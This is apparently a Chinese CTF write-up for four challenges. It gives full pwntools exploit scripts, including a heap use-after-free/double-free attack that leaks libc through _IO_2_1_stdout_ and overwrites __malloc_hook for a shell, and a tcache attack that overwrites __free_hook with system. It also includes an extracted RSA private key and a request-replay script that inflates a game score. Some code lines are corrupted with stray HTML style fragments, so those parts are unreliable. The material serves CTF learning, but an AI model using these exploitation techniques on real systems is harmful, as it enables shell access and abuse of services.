findMe
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#---------------------Setting-----------------------
host = '121.40.216.20'
port = 9999
context.log_level = 'debug'
#---------------------Setting-----------------------
def main(r):
ground, sky = pow(2,127), pow(2,128)
for i in range(200):
t = abs(sky-ground)/3+1
r.recvline()
r.sendline(hex(ground))
r.recvline()
r.sendline(hex(sky))
if t == 1:
g1, g2 = sky-t, sky-t
else:
g1, g2 = sky-t, sky
r.recvline()
r.sendline(hex(g1))
r.recvline()
r.sendline(hex(g2))
ans = r.recvline()[:-1]
if 'flag' in ans:
print ans
return
elif ans == '2':
sky = sky - t
else:
ground = sky - t
if __name__ == '__main__':
while True:
try:
r = remote(host, port)
main(r)
break
except:
r.close()
pass
分析源码可以知道,此题是一个数学题。题中每次连接都会生成一个随机secret,而我们要做的事就是先输入g,s,满足以下数学约束,就可以继续输入:
g <= secret <= s
接着输入g1, g2,首先需要继续满足约束:
|g1-g2| > |s-g|/3 + 1
然后根据公式(|secret - g1| - | secret - g2|)**2 < (|g1-g2|)**2的判断结果返回不同结果,true返回1,false返回2。
分析上面的判别式,可以知道,此判别式判别的就是在一维坐标系中,g1和g2是否同时在secret的一侧,如果在同侧,(|secret - g1| - | secret - g2|)**2 == (|g1-g2|)**2判别式为false,如果g1和g2在secret两侧,判别式为true。
于是思路就呼之欲出了。我们要求在secret两侧的g1和g2,因为这样的话,就可以继续令s=g2,g=g1(假设g1 <= g2)。然后递归的压缩g1和g2之间的距离,直到最后g1=g2=secret得到flag。
求在secret两侧的g1和g2,由于每次要满足|g1-g2| > |s-g|/3 + 1,所以最多也就只需要探测三次,代码实现起来不复杂。
exp如下:
from pwn import *
p = remote('121.40.216.20',9999)
# context.log_level = 'debug'
def pack(s):
t = hex(s)
return t[2:] if t[-1] != 'L' else t[2:-1]
def process(ground, sky, g1, g2):
print p.recvuntil('g\n')[:-1]
print ground
p.sendline(pack(ground))
print p.recvuntil('s\n')[:-1]
print sky
p.sendline(pack(sky))
print p.recvuntil('g1\n')[:-1]
print g1
p.sendline(pack(g1))
print p.recvuntil('g2\n')[:-1]
print g2
p.sendline(pack(g2))
r=p.recvuntil('\n')
if r[:4] != 'flag':
print r
return int(r[:-1])
else:
print r
ground = 0
sky = 2**128
pground = 0
psky = 0
# print pack(sky)
def find(ground, sky):
l = abs(sky - ground)/3 + 1
g1 = ground
g2 = g1 + l
r = process(ground, sky, g1, g2)
if r == 1:
return g1,g2
elif r == 2:
t = process(ground, sky, g2, g2+l)
if t == 1:
return g2, g2 + l
elif r == 2:
t = process(ground, sky, g2, g2)
if t == 2:
return g2+l, sky
for i in range(200):
ground,sky = find(ground, sky)
XCTFMisc实战学习可到合天网安实验室,本系列实验精选了XCTF竞赛中比较有代表性的misc题目供大家学习,扫描下方二维码即可预览学习。
gameapp
APK逆向,每次发包时用RsaUnit加密data段,密钥都在APK里面,直接把代码抠出来,生成请求包。
package shon.lau;
import java.util.Base64;
import java.security.KeyFactory;
import java.security.interfaces.RSAPrivateKey;
import java.security.interfaces.RSAPublicKey;
import java.security.spec.PKCS8EncodedKeySpec;
import java.security.spec.X509EncodedKeySpec;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import org.json.simple.JSONObject;
public class RsaUnit
{
private static Map<Integer, String> keyMap = new HashMap();
public static void genKeyPair()
{
keyMap.put(Integer.valueOf(0),"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqtXUIVoPUcBV1Wl3g8rGGNvMY\nImonQdMC1Y8USwIwf7Y0GcBP/h6fAJPAS9//qYZzy8ZfDKH1+ezifFFCUTCCa/8a\nYFoms223okyzeTlUIRHbIkto1JxYOazbsE6+KmE+yJiij4839SYuC1KsLWT82uHE\nA3Hau/DTzW4g4xhvzQIDAQAB");
keyMap.put(Integer.valueOf(1),"MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBAKq1dQhWg9RwFXVaXeDysYY28xgiaidB0wLVjxRLAjB/tjQZwE/+Hp8Ak8BL3/+phnPLxl8MofX57OJ8UUJRMIJr/xpgWiazbbeiTLN5OVQhEdsiS2jUnFg5rNuwTr4qYT7ImKKPjzf1Ji4LUqwtZPza4cQDcdq78NPNbiDjGG/NAgMBAAECgYBUdazusCdPbxke09QI3Oq6VeuWcEiHHckx6Ml+p9Hwfu99/ZOpwDgUQSvZA3FTQ+PS3OpL0qs7USlDsXBe2F6gCZ/e1BvkEPE/FymHbzbSpr8BwjEel/kup842z11SujNxHbeznrXKNfvDlqR5HM7CurYErBW0X8She8lNAqXBXQJBANj3pPvSHFQ4ugkWst6XCX/gd5vQuvPzeUwHpReSdRsmA6Jmv8oP03MQzjvsyrMoPatMzhN5Qtfpw12Febfl1pcCQQDJa2RGtK2jCiKxzKcbUp9pPiSxtsdavneKoCG/tndICyGfeT1NRGSQsJCHIhxdee4QQYWUrzhbFBLLZDq4sj07AkEAykt0T7si4MAXbPv2AKZQnCN9QhGHDof3k5UZL/ZFK+/wuY4Vyl+hJosHz0XD5PFjNoGhLvUEBu6VUnBuAbHRtwJBAKysnHLhQlqbvdKfmEMcOf2HgP25rH5m+ySk00n/q5LfuBt3XM54653/QGgZHigk96qIAXTOIooyU0p6yry8UTECQQCy8tuflq8/8ISRdkHixENX+APeYr4hjmn5mUFJgB4qFUp1ReR0nA2oGf6IkzAWEwLvEchuKMtF7eEv1kHS+3Wd");
//
keyMap.put(Integer.valueOf(1), "MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBAKq1dQhWg9RwFXVa\nXeDysYY28xgiaidB0wLVjxRLAjB/tjQZwE/+Hp8Ak8BL3/+phnPLxl8MofX57OJ8\nUUJRMIJr/xpgWiazbbeiTLN5OVQhEdsiS2jUnFg5rNuwTr4qYT7ImKKPjzf1Ji4L\nUqwtZPza4cQDcdq78NPNbiDjGG/NAgMBAAECgYBUdazusCdPbxke09QI3Oq6VeuW\ncEiHHckx6Ml+p9Hwfu99/ZOpwDgUQSvZA3FTQ+PS3OpL0qs7USlDsXBe2F6gCZ/e\n1BvkEPE/FymHbzbSpr8BwjEel/kup842z11SujNxHbeznrXKNfvDlqR5HM7CurYE\nrBW0X8She8lNAqXBXQJBANj3pPvSHFQ4ugkWst6XCX/gd5vQuvPzeUwHpReSdRsm\nA6Jmv8oP03MQzjvsyrMoPatMzhN5Qtfpw12Febfl1pcCQQDJa2RGtK2jCiKxzKcb\nUp9pPiSxtsdavneKoCG/tndICyGfeT1NRGSQsJCHIhxdee4QQYWUrzhbFBLLZDq4\nsj07AkEAykt0T7si4MAXbPv2AKZQnCN9QhGHDof3k5UZL/ZFK+/wuY4Vyl+hJosH\nz0XD5PFjNoGhLvUEBu6VUnBuAbHRtwJBAKysnHLhQlqbvdKfmEMcOf2HgP25rH5m\n+ySk00n/q5LfuBt3XM54653/QGgZHigk96qIAXTOIooyU0p6yry8UTECQQCy8tuf\nlq8/8ISRdkHixENX+APeYr4hjmn5mUFJgB4qFUp1ReR0nA2oGf6IkzAWEwLvEchu\nKMtF7eEv1kHS+3Wd");
}
public static String private_decrypt(String paramString)
throws Exception
{
Base64.Decoder decoder = Base64.getDecoder();
String str = (String)keyMap.get(Integer.valueOf(1));
byte[] arrayOfByte1 = decoder.decode(paramString.getBytes("UTF-8"));
byte[] arrayOfByte2 = decoder.decode(str);
RSAPrivateKey localRSAPrivateKey = (RSAPrivateKey)KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec(arrayOfByte2));
Cipher localCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
localCipher.init(2, localRSAPrivateKey);
return new String(localCipher.doFinal(arrayOfByte1));
}
public static String private_encrypt(String paramString)
throws Exception
{
Base64.Decoder decoder = Base64.getDecoder();
Base64.Encoder encoder = Base64.getEncoder();
byte[] arrayOfByte = decoder.decode((String)keyMap.get(Integer.valueOf(1)));
RSAPrivateKey localRSAPrivateKey = (RSAPrivateKey)KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec(arrayOfByte));
Cipher localCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
localCipher.init(1, localRSAPrivateKey);
return encoder.encodeToString(localCipher.doFinal(paramString.getBytes("UTF-8")));
}
public static void main(String[] args) {
JSONObject localJSONObject = new JSONObject();
try {
genKeyPair();
// localJSONObject.put("player", "mads");
localJSONObject.put("score", 100);
localJSONObject.put("op", "add");
String data = localJSONObject.toString();
System.out.println(data);
System.out.println(RsaUnit.private_encrypt(data));
// String str2 = HttpUnit.post("http://121.40.219.183:9999/startgame/", RsaUnit.private_encrypt(data));
// System.out.println(str2);
}catch (Exception e){
System.out.println(e.toString());
}
}
//
// public static String public_decrypt(String paramString)
// throws Exception
// {
// String str = (String)keyMap.get(Integer.valueOf(0));
// byte[] arrayOfByte1 = Base64.decode(paramString.getBytes("UTF-8"), 0);
// byte[] arrayOfByte2 = Base64.decode(str, 0);
// RSAPublicKey localRSAPublicKey = (RSAPublicKey)KeyFactory.getInstance("RSA").generatePublic(new X509EncodedKeySpec(arrayOfByte2));
// Cipher localCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
// localCipher.init(2, localRSAPublicKey);
// return new String(localCipher.doFinal(arrayOfByte1));
// }
//
// public static String public_encrypt(String paramString)
// throws Exception
// {
// byte[] arrayOfByte = Base64.decode((String)keyMap.get(Integer.valueOf(0)), 0);
// RSAPublicKey localRSAPublicKey = (RSAPublicKey)KeyFactory.getInstance("RSA").generatePublic(new X509EncodedKeySpec(arrayOfByte));
// Cipher localCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
// localCipher.init(1, localRSAPublicKey);
// return Base64.encodeToString(localCipher.doFinal(paramString.getBytes("UTF-8")), 0);
// }
}
第一步是发包登录。在/startgame/接口 第二步是发包增加分数,测试每次最多增加100,写个脚本循环跑。
# -*- coding=utf-8 -*-
import requests
r = requests.Session()
url = 'http://121.40.219.183:9999/score/'
headers = {
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
'Cookie': 'session=eyJwbGF5ZXIiOiJtYWRzIiwic2NvcmUiOjUwMH0.XYRf3w.PqYCOJx52Scogjpz9eKY1t1XXgo;',
'Connection': 'close',
'Content-Type': 'xxx',
}
cookies = {"session": "eyJwbGF5ZXIiOiJtYWRzIiwic2NvcmUiOjkwMH0.XYRg3w.uNx4qY-NVMhuIW8UxmtTkLHTOL4"}
data="StGIrDplUxthN/I8va6O9MfKu8ymYzM5eYxNpnNgh7SW7S9JnEbzlNZnaBGSRdffLr2DjOTGcdQH7mSyBkfttL+xuoxGtsMJ126y1ra0ZfYz0Y75cMHmGw3WY62/cng7fheoc8Qq7/YeoaL4j0BGIwKeundOdjQjnAKRc/s3kFA="
for i in range(99999/100):
res = r.post(url=url, data=data, cookies=cookies)
print res.content
cookies["session"] = res.cookies.get("session")
# print cookies
# break
跑到99999得到flag
flag{2968ababe9b8a875037b15168f67a46c}
fkroman
菜单堆,IO_stdout leak的板子题。free掉后没清空指针(uaf),double free重新分配到_IO_2_1_stdout_泄漏出libc地址。最后将__malloc_hook改one_shot拿shell
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os, sys
# Setting at first
DEBUG = 3
LIBCV = 2.19
context.arch = "amd64"
context.log_level = "debug"
elf = ELF("./fkroman",checksec=False)
# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive
if DEBUG == 1:
if context.arch == "i386":
libc = ELF("/lib/i386-linux-gnu/libc.so.6",checksec=False)
elif context.arch == "amd64":
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
s = process("./fkroman") #, env={"LD_PRELOAD" : "./libc-2.23.so"})
elif DEBUG == 2:
if context.arch == "i386":
libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86/libc.so.6",checksec=False)
os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/x86/glibc-"+str(LIBCV)+"/x86/ld-linux-x86-64.so.2 fkroman")
os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86:/libc.so.6 fkroman")
elif context.arch == "amd64":
libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/libc.so.6",checksec=False)
os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/ld-linux-x86-64.so.2 fkroman")
os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64:/libc.so.6 fkroman")
s = process("./fkroman")
elif DEBUG == 3:
libc = ELF("./libc-2.23.so",checksec=False)
ip = "121.40.246.48"
port = 9999
s = remote(ip,port)
def z(addr):
raw_input("debug?")
gdb.attach(s, "b *" + str(addr))
wordSz = 4
hwordSz = 2
bits = 32
PIE = 0
mypid=0
def leak(address, size):
with open("/proc/%s/mem" % mypid) as mem:
mem.seek(address)
return mem.read(size)
def findModuleBase(pid, mem):
name = os.readlink("/proc/%s/exe" % pid)
with open("/proc/%s/maps" % pid) as maps:
for line in maps:
if name in line:
addr = int(line.split("-")[0], 16)
mem.seek(addr)
if mem.read(4) == "\x7fELF":
bitFormat = u8(leak(addr + 4, 1))
if bitFormat == 2:
global wordSz
global hwordSz
global bits
wordSz = 8
hwordSz = 4
bits = 64
return addr
log.failure("Module's base address not found.")
sys.exit(1)
def zx(addr = 0):
global mypid
mypid = proc.pidof(s)[0]
raw_input("debug?")
with open("/proc/%s/mem" % mypid) as mem:
moduleBase = findModuleBase(mypid, mem)
gdb.attach(s, "set follow-fork-mode parent\nb *" + hex(moduleBase+addr))
def clean():
s.close()
if DEBUG == 2:
if context.arch == "i386":
os.system("patchelf --set-interpreter /lib/ld-linux.so.2 fkroman")
os.system("patchelf --set-rpath /lib/i386-linux-gnu:/libc.so.6 fkroman")
if context.arch == "amd64":
os.system("patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 fkroman")
os.system("patchelf --set-rpath /lib/x86_64-linux-gnu:/libc.so.6 fkroman")
def menu(x):
s.sla("choice: ", str(x))
def alloc(idx, size):
menu(1)
s.sla("Index: ", str(idx))
s.sla("Size: ", str(size))
def delete(idx):
menu(3)
s.sla("Index: ", str(idx))
def edit(idx, size, data):
menu(4)
s.sla("Index: ", str(idx))
s.sla("Size: ", str(size))
s.sa("Content: ", data)
def pwn():
alloc(0, 0x80)
alloc(1, 0x60)
alloc(2, 0x60)
# unsorted bin
delete(0)
# _IO_2_1_stdout_
alloc(3, 0x60)
edit(3, 2, '\xdd\x95')
# double free
delete(2)
delete(1)
delete(2)
# edit point to chunk3
edit(2, 1, '\x00')
# alloc _IO_2_1_stdout_
alloc(4, 0x60)
#zx(0x1309)
alloc(5, 0x60)
alloc(6, 0x60) # _IO_2_1_stdout_
# bypass and leak
edit(6, 0x54, chr(0)*3 + p64(0)*6 + p64(0xfbad3887) + p64(0)*3 + '\0')
s.ru(p64(0xfbad3887))
s.r(0x18)
libc.address = u64(s.r(6) + '\0\0') - 0x3c5600
style="box-sizing: border-box; padding-right: 0.1px;"> malloc_hook = libc.sym['__malloc_hook']
info("libc.address 0x%x", libc.address)
info("one_shot 0x%x", style="box-sizing: border-box; padding-right: 0.1px;"> info("malloc_hook 0x%x", malloc_hook)
# free list
delete(5)
delete(4)
# edit point to __malloc_hook
edit(4, 8, p64(malloc_hook-0x23))
# alloc __malloc_hook
alloc(7, 0x60)
alloc(8, 0x60)
# write style="box-sizing: border-box; padding-right: 0.1px;"> edit(8, 0x1b, chr(0)*3 + p64(0)*2 + p64(one_shot))
alloc(20, 20)
#zx(0x1309)
#alloc(9, 0x60)
s.irt()
#clean()
#ctf{63f2fa2d7f94394dc3d8e9be1abd34c4}
def dump():
pwn()
s.recv(timeout=1)
s.sl("cat fkroman")
s.sl("exit")
data = s.ra()
f = open("dump", "wb")
f.write(data)
f.close()
if __name__ == "__main__":
pwn()
amazon
tcacheattack,先free掉7次填充tcachebin,当下一次free掉,chunk进入unsortedbin,调用show泄漏出libc地址。覆盖tcache的fd指针为_free_hook,malloc到该处写入system地址,调用free("/bin/sh")拿shell
from pwn import *
p = process('./amazon')
# p = remote('121.41.38.38', 9999)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
def launch_gdb():
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(p)[0])
def new(s,d):
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('buy:')
p.sendline('2')
p.recvuntil('many:')
p.sendline('1')
p.recvuntil('note:')
p.sendline(str(s))
p.recvuntil('Content:')
p.sendline(d)
def free(i):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil('for:')
p.sendline(str(i))
def show():
p.recvuntil('choice:')
p.sendline('2')
# launch_gdb()
new(0xa0,'cnm') # 0
for _ in xrange(7):
free(0)
new(0xb0,'fuck') # 1
for _ in xrange(7):
free(1)
new(0x20,'fuck') # 2
free(0)
show()
p.recvuntil('Name: ')
leak = u64(p.recv(6).ljust(8,'\x00'))
log.info('leak ' + hex(leak))
libc_base = leak - 4111520
free(1)
new(0x100,p64(libc_base + 4118760 - 0x40) * (0x100/8)) # 3
new(0xb0,'nmsl\x00')
free(3)
new(0x100,'/bin/sh\x00' * (0x100/8))
new(0xb0,p64(0) * 4 + p64(libc_base + libc.symbols['system']))
free(1)
p.interactive()
CTF-PWN训练可到合天网安实验室学习课程——CTF-PWN进阶训练:本课程旨在帮助CTF初学者快速掌握复杂PWN题型的基本解题思路与技巧,包括溢出模型、信息泄露、ROP等。